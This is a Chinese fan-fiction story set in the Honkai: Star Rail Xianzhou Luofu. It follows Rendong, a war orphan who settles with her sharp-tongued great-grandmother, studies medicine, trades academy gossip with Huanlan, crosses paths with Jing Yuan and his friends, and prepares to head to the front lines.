《我与景元二三事》
1. 仙舟罗浮
“你走吧……我要去找你母亲了,那么多年了,她在地下该冷了……”
已经记不清面目的父亲对她这么说完,决然转身,没有任何迟疑,甚至都没有看一眼他背后踉跄哭跑着追他的女儿一眼,就这么消失在了故土的沙砾和血腥气中。
只余斩落的旌旗染着血色,被风沙裹挟着滚动,停在了战场数不清的冰冷墓碑前。
残阳如血照射在这片寂寥的大地上,四处无声,只有女孩呜呜的低泣。
*
“各位乘客请注意!各位乘客请注意!本站为仙舟朱明、仙舟朱明!下一站为仙舟罗浮,请即将结束航程的乘客做好准备——”
星际和平公司协同仙舟联盟开设的宇宙航线飞船上,沉浸在噩梦中的女孩被广播的声音唤醒,循着几分理智,她透过一旁的玻璃窗望向了外面。然后,就像声音具现化一样,仙舟的热闹先一步占据了她的眼睛。
仙舟朱明,仙舟联盟之下以铸冶技术闻名的仙舟。对于它,忍冬只了解到这里。
毕竟,她的目的地在下一站,仙舟罗浮。也是据说她妈妈的奶奶,也就是她太姥姥居住的地方。
但忍冬还是没有收回视线,一直看着那里。那里有一个男孩,一个刚从这趟飞船上孤身下去,一个跟她差不多大的男孩。
忍冬单方面认识他。
因为相似的际遇,相似的旅程,以及……孤身一人。
“是叫……应星?”忍冬凑到窗前,嘴巴喃喃呼出的热气喷出,让她眼前模糊了一会儿,然后,就看不见了。
忍冬收回了试图找寻的视线,但眼珠子依旧在周围打着转。一会儿看看来往的飞槎,一会儿盯盯走动的大耳朵大尾巴狐人……
一切陌生又新奇,对忍冬来说,也只能是陌生又新奇。
飞船又开始启动了,忍冬身旁空下去的座位又有人上来填补满了,刚才寂寥下去的客舱又开始有漂亮的小姐姐小哥哥们推着小推车叫卖着仙舟特产。
人来来去去,就跟她一样。
飞船开始迁跃,忍冬在飞船稳定后暂时离开了座位,去解决自己咕噜叫唤的肚子,顺带收拾个人卫生。
之后,她又回到了座位。无视周围人时不时瞟向她的视线,眼一闭,开始了又一轮噩梦循环。
睡过去之前,她在心里想,总有一天,她会释怀并且……
*
“各位乘客请注意!各位乘客请注意!仙舟罗浮已抵达,下一站,仙舟曜青——”
忍冬收拾好自己唯一带着的小包,像串铃铛一样把它栓在了腰间捆着的鞭子旁。然后,展开手中一直捏着的纸条,开始了一路沿途问人找路的旅程。
接着嘛……
“小妹妹,你一个人吗?迷路了?”
“哎呀!你这榆木脑袋!她一个人,又是在流云渡这里,当然是迷路了!!”
两个穿着铁甲制式衣装的人拦住了忍冬,在上下打量完她之后,发生了以上对话。
其中一个在狠敲了另一个一个大盖帽般的巴掌之后,对瑟缩戒备的忍冬和善地笑着说:“小妹妹,还记得从哪里来的吗?爸爸妈妈的联系方式有没有啊?”
忍冬碧绿的大眼睛盯着这个试图向她表达友善之意的陌生人,默然不语。手掌却默默摊开,向他们展示了那张写着一个地址的纸条,低声说:“没有爸爸妈妈。我来找人。”
之后,她就被带着穿过繁华的街市,送到了一个地方。
“这里是地衡司,忍冬小妹妹,先乖乖待在这里好不好?一会儿你找的人就会来接你啦~”把忍冬送过来的云骑卫明显地掐着嗓子,声音柔滴滴地试图安抚冷静沉默的她。
但铁汉柔情,还是这种难言的神情,只换来了忍冬无言又直白的一双碧眼瞪视。
还有……四周突然忍俊不禁的喷笑和窃笑。
“噗——”
忍冬的耳边明显听见了其中一声,低低的,轻轻的,是很好听的少年音。
但她不在意,只是瘫着脸沉默了一小会儿。在面前的云骑卫脸上挂着的笑都要被周围隐秘又直白的视线射穿的时候,唇角扯着脸皮,眼角微弯,向面前的人露出了一个孩子在这个年纪该有的笑容,说:“好,谢谢哥哥。”
然后又在云骑卫简直要感动哭的蛋花眼中,脸一跨,变回了那个沉默寡言的孩子。
“哎呀……”
忍冬又听见了那个声音,低低的感叹夹着几分新奇。她转头快速扫了一圈,没有找到疑似的目标,只好垂眼,继续维持着自己寡言的表象。
然后,啪——呆滞的云骑卫被拍在肩上的一掌打醒,转头看去,是他笑眯眯又额角蹦青筋的老爹。
“云朗~我记得,你现在该是在流云渡等待出发的,对吧?”
被称为云朗的云骑卫脸色苍白,双手几乎挥出了残影,嘴唇几番嗫嚅,但就是连话都说不出来。
“轩朗叔,云朗哥是出于帮助人的前因才出现在这里的,他可没有当逃兵哦~”忍冬很耳熟的声音主人不用她找,就自己出来了,笑眯眯的,透着几分轻快。
“所以,能不要再散发您压人的气势了,好吗?地衡司可不止有云朗哥啊~”
气势……?
忍冬很想困惑地摆动脑袋,但在这种时候,她实在不想再度成为视线的焦点。所以,只是用眼神打量着这几人。
一个,就是声音口中的轩朗,一个大叔样貌的男性,跟送她到地衡司的那个云骑卫很像,是亲属吧。
另一个……
忍冬打量的视线对上了他,一个外表看起来比她大一点的男孩。那双金灿灿的眼睛在她看过去的时候眯了眯,然后笑了。
那狡黠的样子,跟隐含在皮下的打趣,忍冬就算是个孩子也看出来了。
她只看了他一眼,一眼就被抓包了。
忍冬又低头了,念头默默在心里转悠了一圈,想,这人很像一只皮毛雪白厚实的大猫……
“景元?你今天又过来了?”轩朗一见是他,脸上的隐怒立刻消融,笑容就像不要钱一般浮现。
忍冬的视线又投了过去,看着这个叫景元的男孩,眼里有好奇,又有点迷惑。
他……是灭火器?
景元笑吟吟地应对着轩朗的问话,时不时还给被锤一拳的云朗开脱
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,一副长袖善舞的油滑模样。
忍冬一直在盯着他看,眼神中的好奇简直遮也遮不住,让被她视线波及到的人都感觉后背一僵。
云朗眼角悄悄撇了忍冬的方向一眼,看她盯着景元目不转睛,再看了看跟自家老爹言语间有来有往无动于衷的景元。实在忍不住自己的好奇,脚步移啊移,不动声色凑到景元耳边,悄声问:“景元,你真的没感觉吗?小姑娘的视线很灼热啊~”
虽然云朗知道自己问话的内容很有调侃意味,但他以他明亮的眼神保证,他绝对是真诚的!
景元金色眼瞳不经意掠过忍冬的方向,哼笑了一声,低声回道:“云朗哥,我尚还没到老眼昏花的地步~”
“你、你不介意?”云朗又偷摸着瞥了忍冬一眼,在她歪头看过来的困惑眼神中,一激灵,猛地背过身急切问景元。
“介意啊~但你难道要我去直说别看我了?万一她否认,我的面皮可是要掉地上了~再说,能有女孩子看不好吗?云朗哥你没有过吗?”
扎心!很扎心!
云朗捂着自己的胸口,虽然没有受伤,但还是感觉有一股隐秘的尖刺扎入了心口,那个闷痛啊!
景元看着他面上演出的苦闷,又哼笑了一声。现在倒是实打实的故意之举了。
但就在他们演这一出的时候,云朗时不时的视线和景元不经意的一瞥还是让忍冬感觉到了。
她无趣地别过了眼,坐在一把小椅子上摇晃着双腿,等着自己这一趟旅程的结果。
地衡司是罗浮上处理大小事务的机构,包括外来者的来往。所以,坐在这里的这段时间内,忍冬看见了许多她从没见过的人和……机器人?
虽然宇宙人很有特色,但仙舟人也不遑多让。
在来之前,通过那些战场上驻扎的军队,忍冬大致是把罗浮了解了个七七八八,当然也包括上面的物种。
老爹的家乡,也就是她的家乡,作为在宇宙中由短生人类占据主导的星球,对于由她母亲赐予长生种血缘的她来说,一句话便可解释得清:
那些人都说,她真是好运……
是挺好运的。
对短生种为主,又没有强力战力的 E-703 星球来说,引来星际和平公司、丰饶余孽、仙舟讨伐军在其上大肆征伐,导致她没有双亲之后,又失去了容身的家乡,也是她得到这好运的代价,对吗?
忍冬只要一安静下来,大脑就会控制不住地想那些不该由她承担的过去。她理智知道自己只是其中不值一提的蝼蚁,但是……
但是……
“罗浮好大啊……”
女孩的呢喃轻柔又低微,人来人往的地衡司中好像没有一个人听见。
“景元?你走神了?来都来了,快帮我把这些文件整理一下!”地衡司中跟景元较为熟悉的人一脸恳求地把眼前杂乱的文件堆推到他面前,打断了他怔愣的视线。
景元回神,无奈地笑笑,丝滑地准备投入杂务之中。
但在准备动手前,他还是像被什么吸引了一样,偷看了那个在窗下发呆的女孩子一眼。
像一只流浪小猫……
2. 太姥姥
“唔……”
忍冬被窗外泛白的天光唤醒,手控制不住地遮挡在眼前。她在床榻上蛄蛹了几下,最终还是顺从生物钟起床了。
但当她穿着睡衣穿过庭院摸往厨房的时候,还是雷打不动地在庭院内看见了精神抖擞打着太极的老太太。
那梳理齐密的黑发、干练的衣装都告诉忍冬,她起得还是不够早。
但忍冬早在来到这个家的第三天就放弃了较量装乖的小心思,毕竟……这个老太太不一般啊……
在忍冬刚来还试图博取关爱的路上,这人,一言不发。要不是在她去地衡司接她的时候说过话,忍冬都要怀疑老太太是个哑巴了。
坚持无用,态度变都不带变的,但又确实把她接回了家。
就当一项日常热脸贴冷屁股的任务吧……
忍冬最后这么宽慰自己,然后很快原形毕露。
“早,太姥姥。”忍冬穿过庭院的时候默默地跟老太太打了个招呼,抬脚就打算越过她。
但在她睡眼惺忪往前的时候,身后那个一直没跟她说过话的老人淡淡地回了一句:“早。”
忍冬猛地扭头,披散的发尾啪地糊到脸上。但她不管,只眨巴着眼睛一脸不可思议。
老太太全程面不改色,动作依旧流畅地划来划去,刚韧有风。
她对于忍冬的回头只说了一句:“去洗漱,太丑了。”
忍冬的心放回了肚子里,面色平静地扭头继续去厨房。
边走还边嘀咕:“看来不是魔阴身,没事。”
“你跟你妈一个样,嘴挺毒。”老太太回嘴。
“嗯,像您。”忍冬扒拉下脸上糊着的头发,动作懒散地走进一旁的厨房,烧水起锅,随意回道。
等忍冬宽慰好自己打鼓的五脏庙,她们都没有再说一句话。
但忍冬知道,冷漠的气候已经过去了。
所以等老太太打完一套太极,走进厨房的时候,忍冬默默向她推出多的一碗面。老太太接过,坐下就开始吃了起来。
忍冬也起身回去收拾自己了。
等她整理好出来,她的太姥姥已经洗完了碗,正坐在一把摇椅上,在庭院内闲然地喝茶翘腿。
忍冬脚步顿了一下,转身进屋拉出了另一张摇椅,摆在了太姥姥一旁,坐下,伸手接过她随意递过来的一杯茶,也开始摇晃着喝了起来。
阳光渐渐高升,金灿灿地洒在身上。一片光辉中,老人恍惚中好像听见了她那些已经远去孩子的欢笑。但一回神,身旁只有吱呀作响的摇椅上迷蒙睡眼的女孩。
看着这跟那孩子有着几分相似的眉眼,老人心里有几分悲伤,又有一点宽慰。
总归……还记得她老人家……
忍冬的适应时间很快过去,跟太姥姥熟起来之后,她立马被驱使着、诓骗着,进入了仙舟学宫……
“姥姥,玉召上说‘劝人学医,天打雷劈’来着。”忍冬手中提着一大摞医书回家之后,对木姜女士这么说。那双碧澄澄的大眼直愣愣的盯着她。
但老太太是什么人,丹鼎司退休老医师一枚,她的心已经跟她手中的手术刀一样硬了,并不会对子孙辈心软!
“嗯,先学着,不喜欢就换。起码保证自己的生存。”老太太面不改色地说。
“生存的话,我是丰饶命途的,并不需要消耗发量再去进修了。”忍冬特意提了提那摞医书,一手中向院内一株半死不活的月季抛了一缕细微的绿光。
月季肉眼可见的迎风而长,但又在长到一定限度之后骤然枯萎,整株开始散发出紫色的雾气。
“你的丰饶跟我认知中的好像不太一样啊……”太姥姥有点麻爪。她挺高兴孩子有自保之力的,但在这个关头走上丰饶命途……可算不上什么好事啊……
“自古医毒不分家不是吗?至于你担心的,只要一直是毒不就好了?”
忍冬放下提一小会儿就让她爪子开始酸痛的医书,抽出了腰上一直装作腰带的红色小皮鞭,唰一甩,其上蔓生了泛着紫意的毒刺。
她回望着好像有点呆住的太姥姥,探寻地搜索着她眼里的情绪。
只要……
只要一有问题,她就回家!
木姜伸手揉了揉脸上僵硬的肌肉,眼神泛着淡淡死意,试图平静,说:“也行,但医术你就得真去学了。毕竟得为以后可能展露的治愈力找个借口,不然出事之后,老婆子真得跟你一起去游大街吃臭鸡蛋了。”
忍冬璨然一笑,收回小皮鞭,眉眼带笑说:“姥姥,你真会开玩笑~现在哪来的臭鸡蛋啊~垃圾袋还差不多~”
“是啊,到时候就可以说是捡垃圾大户了呢。”木姜知道自己年纪大了,也到了堕入魔阴身的年纪。但她这孙女的女儿怎生能这般刺激老年人的情绪呢?还有没有一点良心?!
“那种东西当然是没有的啦~您指望一个战区孩子懂什么良心呢~”忍冬听见了木姜不小心呢喃出的指责,但她也不在意。就像她说的,战区孩子,你能指望她能在意什么呢?
木姜不说话了,定定盯着已经逐渐显露糟心本质的来源,木然叹了口气,转身叨叨着,眼不见为净地去准备晚饭了:“讨债鬼!一群讨债鬼!”
“嘻嘻~”忍冬踢了一脚堆在庭院里的医书,像只小狐狸一样尾随了过去。发尾蹦蹦跳跳的,溜圆的眼睛眯得像偷食得逞,细细的眼尖旁的鼻梁上还有颗鲜红的小痣。
很漂亮……
景元在学宫又一次不经意看见她的时候心想。
当然,他说的是那颗红色的小痣。
“所以小景元~你这段时间才这么行迹鬼祟吗?”白尾的狐人一脸戏谑,手中晃动着在长乐天买的糖人,就差直戳到他脸上了。
“白珩姐,我没有行迹鬼祟。”景元试图强调这点。但温柔的白珩姐有时候也很活泼调皮,她吃着糖人,虽然在听着他说,但景元就是知道,她没听进去。
“嗯~嗯~虽然焕蓝说她亲眼看见了,什么神情恍惚、茶饭不思,还特意好几日在学宫门前站立好久,像在等着什么一样。”
果不其然,不等景元放弃,白珩就开始细数自己的消息来源。
焕蓝,那只八卦狐狸!!
景元眯眼笑起来,温和的表皮中夹着几分隐恼怒意。他伸指拨开又指向他的糖人木棍,温吞着说:“并没有。”
白珩一脸了然,手中吃干净的糖棍随意甩入一旁垃圾
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桶,拍了拍手,眼神打量着周围,漫不经心地说:“知道~知道~”
还不等景元继续为自己的名声辩解,他就听见白珩继续说:“景元,你得加紧了哦~前线战线拉长了,估计新一批次的云骑军招收又要开始了。我听镜流说,腾骁将军要她这次必须要招个徒弟来着,你不是一直很喜欢她嘛,抓紧时间~”
“这般吗……”景元并没有为这次自己等待的机会高兴,实在是白珩话里透露出的消息算不上什么好事。
他回忆自他出生以来便持续到现在的丰饶民之战。仙舟虽然人口庞大,但已经投入了很多,也消耗了很多,已经有很多像她一样的家庭了……
“这次,算得上最后的总动员吧,会很惨烈,但也是和平的先兆。你跟你的同学们,大抵不会有一个太安静平和的学年了……”
白珩说完话,转瞬便消失了踪影。但景元约莫能猜出来,她人现在去了哪里。
不过,“战场吗……”
那孩子应该能活到最后吧……
忍冬实在不太明白,她巴巴地从自己战乱老家来投靠仙舟,为的就是不再被战争裹挟。但为什么……
“为什么啊?我被霉运星神诅咒了?什么倒霉蛋运气啊?!”
得到消息瞳孔地震的忍冬一下课,就躲到了她找到的“人迹罕至之地”,教学楼背面的角落,倒地锤拳,嘴里喃喃地诅咒着一切。
“虽然有一年的时间缓冲吧,但我是新来的欸?未成年啊?不是说仙舟尊老爱幼吗?!!”
忍冬不想为仙舟肝脑涂地,毕竟她并不认为自己是仙舟人。但无奈薅羊毛就得受羊主人钳制,她,拒绝不了。
“到时候划水好了,别冲,别出头。”忍冬爬起来,拍了拍裙角沾上的灰尘,一脸哀莫大于心死的淡淡死感,还顺带思索了一下该怎么跟姥姥说的话术,就这么接受了下来。
一切,全被楼顶望着这边的景元尽收眼底。
他眼里的困惑难以消解地望着忍冬离开的背影,手中抓着一只健硕的仙舟喵喵,不断躲过几乎算得上拳打脚踢的喵拳,想着,他们还挺有缘的……
但这个时候,焕蓝这只没有眼力见的狐人又拱了出来,手指着他大声怒喝:“景元!你怎么出现在初等部?!又是来跟踪人的吧?!谁?!还不快快交代!”
声音太大了,景元看见下面就快消失的背影都顿了一下。托仙舟人体质的福,他还看见她左右看了看,但应该什么也没看见,就离开了。
焕蓝跟他同为学宫高等部的学生,但她在师生群体内的评价一直两级反转,学习好,但行为实在不能深思。
至于如何不能深思……因为这人喜欢捕风捉影,还特别喜欢根据一些小道消息编一些八卦,专门发表在她开办的学宫小报上,散出去。
由于其涉及人员在学宫和仙舟之闻名,剧情之狗血,销量很不错来着。
……但受害人也一直在扩大。
所以,他以学宫好学生身份举报焕蓝来到初等部的鬼祟行为,不过分吧?
怎么会过分呢,他可是顺应民心啊~
景元笑眯眯地走出教学部,听着身后焕蓝被惨烈训斥的声音,心情前所未有的好。
3. 焕蓝
“姥姥,你脸上能有点表情吗?难道不该为您唯一残存的子孙奋斗一把吗?”忍冬带着这个坏消息回家,本来心里就心烦意乱的,看到老太太不符合自己预料的表现,都快绷不住乖孩子的脸蛋了,不爽地询问出声。
木姜手中摇晃着茶杯,看着茶叶在杯底挪移,轻抬眼睨了绷不住表皮的狐狸外孙女一眼,脸上一派淡然:“我这怎么不是表情了?再说了,奋斗?老婆子我都没要你奋斗一把,你个小妮子居然指望着啃老了?”
忍冬撇过脸,大声嘁了一声,便做罢了。
“至于战场……你到时候也是作为后勤过去,有自保之力。相比其他人家,如果连我都要担心你了,那仙舟早已十室九空了。放宽心,不会让你早死的。”
忍冬指尖卷弄着散落的鬓发,一脸神游,回:“姥姥,你说话还是那么难听。”
木姜举杯喝茶的手一顿,稍放下了几寸,不善地又斜睨了忍冬一眼:“既知道我说话难听,那你还杵在这里干什么?!等着我请你去厨房做饭?还是要老婆子我天天伺候你?”
话音不善,如同秋风扫落叶,眼尾如刀,刀刀刮蹭肌肤。
忍冬听话去了。
第二天,忍冬去到学宫,在一片惨淡的气氛中,一脸冷漠地坐到自己的位置上,依旧如常地散发着拒人千里之外的气场。
但她耳朵一点儿也不闲着,竖得老高,听着周围的动静。
“景元前辈他们也要去的,还比我们早,据说就给了几个月准备时间!”
“那么仓促?!前线是要崩了吗?!”
“你别乱说!!嘘!小心隔墙有耳!”
“嘘个屁!他们敢把学生赶上战场,还怕人说吗?!要不是帝弓大人横空出世,怕不是那些大人物早把我们当前线的柴薪烧了?!”
“都说隔墙有耳了!!你闭嘴好吗?!你死不要紧,我不想因为八卦也死掉啊!!”
……
忍冬掩饰性地勾了勾耳边散落的碎发,低头沉思着这些人嘴里透露出的消息。
仙舟……该说是尾大不掉吗?就算是长生种,也避免不了人性的贪欲啊……
这几天她隐晦偷听这些人的谈论,一直不断出现,较为耳熟的姓名中,“景元”——这个名字让她开始回忆起了地衡司中的那只“大猫”……
“什么?!景元前辈他就要上前线了吗?!那么快?!”女孩子尖利嗓音突然响起,让忍冬偷听的耳朵瞬间感觉到了一股刺痛,耳嗡鸣鸣。
她顺着声音望过去,看见了……额,一堆女孩子?
为首的女孩子粗暴揪起刚才说话者其中一人的衣领,脸上震惊,大眼瞪着,就差贴着那人了。
“你说话啊?!闭嘴算什么男人?!”她身后的女孩子们附和着,看架势,来势汹汹。
忍冬托着腮,一副看热闹的样子瞅着那边,眼神从那群女孩子们扫到被逮住的那几个说话男孩。心底冷嗤,又一出争风吃醋、花丛蝴蝶的戏码!
这仙舟人实在是被保护得太好了!居然还有时间关心什么景元不景元的!自己到时候死不死都不知道!
忍冬知道自己这幅样子铁定有些人看不惯,但身体保底的武力值让她明白,她不用看这些学生的眼光。
谁叫她也是一个孩子呢~
所以,尽管她摆出这幅看戏的姿态之后有好几道不爽的眼神扫过她,她都当做没看到。
毕竟,刚来不久就用鞭子抽出来的威慑,可不是这短短几月就可以消逝的。
忍冬在心底双手祈祷,一脸平和,对仙舟罗浮的信仰,帝弓司命感谢道,感谢您,武力至上!
但大抵是前线消息扩散导致的不稳。一直出现在周围人的话语里,但从未在学宫出现在忍冬面前的景元居然在这个时候出现在了初等部。
忍冬面前,男孩女孩的拉扯还在继续。视线越过他们,忍冬的前方。她看见了俊朗帅气的白发少年跟几个……嗯,很有特色的人、啊不,还有龙、狐狸……
忍冬的视线跟景元撞上了。
但忍冬现在可没有刚到仙舟的拘谨了,视线不闪不避,从容移开,自如打量起了他周边的几个人。
高傲的持明族,但……那是尾巴吗?仙舟其他持明有尾巴?
忍冬视线困惑了几息,想不出个所以然,然后果断放弃了。
毕竟当初对仙舟人种的了解,七七八八中,只知道个种族名和外表而已,再多的,那就是七七八八之外的内容了。安装包还在加载中,原谅她还没有了解。
忍冬在持明的尾巴上打转了几圈之后,在那位持明冷脸甩眼刀过来之前,很快把视线移到了另一位一看就不会因为她多看几眼就上门找茬的狐人身上。
白绒绒的狐尾,一看就油光顺滑,大而挺立的狐耳,感觉一上手就会不断地弹手,可爱~
更重要的是,她发现她在看她了,也只是对她展露了一个笑眯眯的笑脸。
啊~毛茸茸~
至于那位蒙着眼一看就冷若冰霜的女子……忍冬看了一眼就收回了视线。
太冷了,也太锋利了,就像一把即将过刚易折的刀剑,已经开始泛起冷冷血色了。
加上那位她刚来仙舟就见过的景元……这几人,特色太过鲜明了!
忍冬看过之后,平常地收回了视线,起身就打算离开这是非之地。
但在离开之前,她还是控制不住本性,怜悯地睨了一眼还在扯头花的男孩女孩们,尽显冷漠看客的局外人嘴脸。
白珩手肘杵了杵一旁不知为何笑得分外费解的景元,看着女孩离开的背影,笑着问:“景元,你认识那孩子吗?好独特,好漂亮啊!”
镜流下意识顺着好友的话去看,但层层黑纱之下,只能看见一片黑色。
而丹枫脸色感觉更冷了几分,一脸孤傲,话语平静中带着几分目下无尘,评价道:“眼神打量不闪不避,怕不是又如龙师等人一般,厚颜之辈。”
白珩唰地转头瞪着丹枫,皱眉,不适地说:“我知你不喜龙师等人,但刚不过一学宫女孩,你就如此评判第一次见面的人,多少有些不合适。你以往没有如此火气,丹枫,你族里的境况……”
话语稍留末尾,但未尽之语在场者大都明白。
景元作为其中稍算得上正常的人,不得不担起缓解气氛的责任。更何况,他不想师父和白珩姐他们误解那个女孩。
“那孩子是在战场中出生的仙舟人跟
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短生种人类混血,来到仙舟不过短短几月,对于龙尊大人和白珩姐没什么恶意。只不过听说她父母早已亡故,家中只有一老人相依为命,大抵是尚还未学会与人相处之道吧。”
景元短短几句话,就解释完了忍冬的身世。但由于说话者下意识的偏袒,令听者听来,就格外让人可怜。
在场之人都算得上历经风霜之人,对于景元这般下意识的偏向,要说没有察觉……那简直就是笑话。
所以,枫丹和白珩的视线转移到了景元身上,就连镜流都在黑纱下向自己新收的这个徒弟投来了一眼好奇视线。
景元的话刚说完,自己就感觉到了不对,但此时再说什么都有点于事无补。毕竟……白珩姐脸上的笑容过分灿烂了。
“小景元~这么了解人家啊?还是个初等部的孩子呢~跟你在的高等部可算得上南辕北辙啊~”白珩笑着,眼神上下打量着他,眼里只直白地透露出一个意思,就是‘没想到你是这种人!’
此话说完,白珩尤还不够,砸吧着嘴继续说:“听焕蓝说,你前段时间在初等部鬼鬼祟祟的,还把她给举报了,不会就是那段时间吧?”
景元但笑不语,他清楚知道,一旦接话,此事就会盖棺定论。
但,怎么定论呢?他连为什么那么关注那个女孩都还不清楚……
在场四人,唯白珩跟景元可以说说这些八卦,其他人?都是一群寡言的狠人!
所以当景元不接话之时,白珩的话茬子就落到了地上,一地稀碎。
白珩僵笑片刻,无语耷拉下了脸,闷闷地宽慰自己道:“唉~连八卦都不让人说,真是一群闷葫芦~”
而离开教学区的忍冬并没有离开学宫,她走出教室之后,脚步一拐,开始往人群聚集地而去。
演练场,学宫学生专属聚集地。这个在除了晨间演练之外别无它途的地方,日常是仙舟学生们拉呱、压马路、摆小摊的好去处。
忍冬虽然有一颗拒人千里之外的心,但她有一颗八卦骚动的脑。对于学宫之内的消息来源,除了自己听来的以外,其他的,便都是在演练场认识的一位学生小贩那里得来。
那位小贩,是一名叫焕蓝的狐人。
她,跟她,十分志趣相投!
忍冬来到演练场,目的准确地走向一个死角。那里三面围墙,遮挡视线,人烟稀少,是焕蓝那糟心狐狸最好的躲避点,也是最好的消息收集地。
对于一接近就看见的毛茸茸蓝尾巴,忍冬很想当作眼瞎看不见。但她的手,在几次记吃不记打摸上被纠缠之后,又一次违背了她的意愿,摸了上去。
“啊,是忍冬啊!”焕蓝见怪不怪地转头,就像招待朋友回家喝茶一样,屁股往旁边挪了挪,给她留出了一小块地。
接着,眼神亮闪闪地摸上了她的双手,一开口,便是打探她的消息。
“忍冬啊~你对学宫内的谁印象比较深刻啊?当然我没什么坏心思的,只是吧~初等部医用科新来的高冷美人~谁都对你很感兴趣呀~”
忍冬笑脸微瘫,抽回手时感叹着说:“焕蓝,不怪你如此招人恨,实在是连演都不演吗?”
“我只打算看他人的戏,可没打算亲身上阵啊……”
4. 后勤
景元,十九岁,青春正当时。
最近的烦恼:对一位初等部学妹产生了一些意味不明的关注度。
窗外日头正好,辛勤挥剑结束的景元在家里茶室小眯了一会儿。
伴着朔朔的风抚竹叶声,他又陷入了那日与她的初见。
那个孩子……嗯,其实算不上孩子,只比他小个五六岁的样子。小小一只,坐在地衡司的小椅子上,百无聊赖地四处打量着,腿还一晃一晃的。
她坐着的地方离窗很近,阳光此时正好透窗射入屋内,落在她头顶打着旋的发旋上,金灿灿的,连她鼻梁侧边那颗红色的小痣也照得明晰。
他就这么站在那个女孩几步远的转角,借着视线的死角不自觉地盯着她。
看她脸上虚假的小表情,他居然不觉得讨厌,还轻笑出了声。
他很喜欢她,第一面就是。
……
景元呼吸略重地醒了过来,细眯着别过了眼睛,避开了透过窗直射到他脸上的灼热阳光,起身头疼地揉了几下散乱的长发。
“又梦见了啊……”
就跟往常一样的低语,他都记不清自己说过多少次了。
“景元啊景元~见色起意可谓肤浅啊~还是对那么小的孩子……”
再一次谴责完自己,景元收拾好杂乱繁复的心情,又一次扬起了往常一般无二的笑意。
罢了……左右也尚未过界……
景元虽然对于自己下意识的选择很困惑,但时机不等人,即将走上前线的他并没有那么多的时间去探寻自己内心的变化。
只能放下……等时间流逝,或被腐蚀,或历久弥新……
而忍冬也在焕蓝那里得到了自己想要的消息。
景元,老仙舟人了,家里历代便是罗浮上的官吏。虽然自身不以武力见长,但其智谋在学宫中也算得上众人交口称赞了。
重点!帅气俊朗,温柔可人!还有仙舟人特攻白毛!!
“所以你明白了吗?不要肖想他,不值得,也很恐怖!”焕蓝一脸‘就知道又是被景元迷得三迷五道的入口小点心’样的看着她,一脸语重心长地劝解道。
但忍冬不理解,向她发射了一枚困惑眼神,问:“恐怖……?你不是说他脾气很好吗?”
焕蓝摆着手,一脸晦气的解释说:“脾气是很好,如果你不介意被他悄然利用的话。而且恐怖说的是他吗?是他那些追求者!简直跟过境的野蜂一样!烦人又有毒!”
“欸~这样啊……”忍冬微微歪了一下头,眼睫垂下遮掩住冷然的眼珠,勾唇轻笑了起来:“这不是……挺不错嘛~”
“唉……”焕蓝一脸头痛地捂住脑门,眼神恨铁不成钢地看着忍冬,愤愤不平道:“你这家伙!我好心告诫你,你居然还兴奋起来了!被他暗算过好几次的我算什么?算我倒霉吗?!”
忍冬笑嘻嘻地拉下焕蓝捂头的手,满脸兴致勃勃,道歉说:“好了嘛~算他倒霉~我又不是已经喜欢上他变成狂热粉了,只是感觉很刺激啊!我又不能改变我的xp!!”
“你那是xp吗?!你单纯是坏心眼作祟,想看他变脸吧?!”
“哎呀~暴露了吗?”忍冬双手遮住唇瓣,碧眼闪闪地直视着焕蓝,声音带着几分坏心眼的调笑。
看起来……非常可爱!
坏心眼猫猫有什么错呢?都是那些勾引人的坏人类有问题!!
焕蓝不忍直视地猛别过头,气急败坏地大喊:“好了!好了!!我认输!想玩就去玩吧!大不了、大不了事发之后,我、我带你去我表姐家躲一下……”
想到自己虽然温柔开朗,但跟景元算得上同样难缠的表姐白珩,焕蓝眼中豆大的泪珠就差落下了。
“这、这颜控的一生……”
忍冬得到消息,顺带玩弄过现在仙舟上算得上的友人焕蓝之后,就像做过大保健一样,容光焕发地回了家。
接着……陷入了无限魔鬼,翻来覆去的背书地狱。
“现在丹鼎司流通的《柳华医学纲目》是由谁编撰的?又是由谁发扬光大的?/回生丹有何功效?钓鳌散有何功效……”#
数不清的药理知识被忍冬的木姜姥姥就差像古法灌肠一样灌入她的大脑中了,浑浑噩噩之下,她都没时间去送一送自己那算得上朋友的焕蓝上前线。
老太太安还慰她说,不用遗憾,很快,一年后她就能跟她在战场上重逢了。
至于是活的还是死的……那就看运气了。
忍冬虽然觉得老太太说话难听,但还是听劝安心继续学习了。
……毕竟,她说话更难听,还是不要去拷打焕蓝在战场上本就紧绷的心理了吧……
时间在学习时总是匆匆流逝,忍冬也彻底在这一年内有了一点遮掩能力。
她要上前线了。
就跟诗文书籍中描述的那样,离开那天的朝阳实在是红艳,艳丽得像血一样。
在周围跟家人依依惜别的同期中间,忍冬瞪着面前穿着丹鼎司统一服饰的木姜老太太,难得的露出了一双死鱼眼。
话语凝噎,执手相看……不解。
“姥姥,你这是重新焕发第二春了吗?”忍冬微低着已经开始抽条的身高,笑意温柔地柔声询问道。
“怎么?不服?我好歹是长生种,就算将要临近魔阴身,也可以焕发事业的第二春!就算其他的也一样!”老太太下颌稍扬,眼神就像河豚鼓动的双眼,狠狠剜了一眼面前这个拔葱般长高的外孙女儿,语气不忿。
啊,还强调了其他含义吗……
忍冬稍稍长开的面容在姥姥面前缓缓展露了一个恍如曼陀罗盛开的笑颜,清凌凌的声音含着一口冷幽笑意,说:“最好是这样。毕竟喷毒液的蛇突然跟我讲温情……虽然我不介意吧,但姥姥~那边,是你的同僚吗?眼睛真大啊~三七分的黑白欸~”
忍冬悄然把手搭在了老太太肩上,在她听完她的话后,一脸宛如吃了苍蝇的表情中,猛地把人转了个方向,让她看见了以前跟她一路读书当值的丹鼎司老友兼对手那嫌弃的嘴脸。
黑白分明的双眼,写满了对木姜女士临老温情展现的嫌弃和几分嘲笑。
看见了还不过瘾,她那糟心外孙女还特意凑到她耳边笑着说:“姥姥~看~这是不是妈妈跟我说的芝玉姥姥啊~”
仙舟人,得药师赐福,享仙寿永昌,容貌在青年时期之后难以改变。
所以芝玉尽管一副青颜之色,但穿着、举动间却尽显颓暮之气。
……就跟她姥姥一样。
木姜利落挥手拍下忍冬搭在她肩头的爪子,压低嗓音匆匆对她说了:“你妈妈可不会像你似的,言谈举止尽显对长辈的不尊!往后去!我要开大了!”
忍冬乖乖缩头,看着姥姥在芝玉过来时快速在脸上挂出了一副同样的虚伪假笑,呵笑着就开始跟过来叙旧的她打着机锋。
虽然以忍冬的了解,她们已经多年未有联系了,但现在相逢,却也是阴阳怪气齐出,一点儿也不见生疏。
多少显得有点生气了……
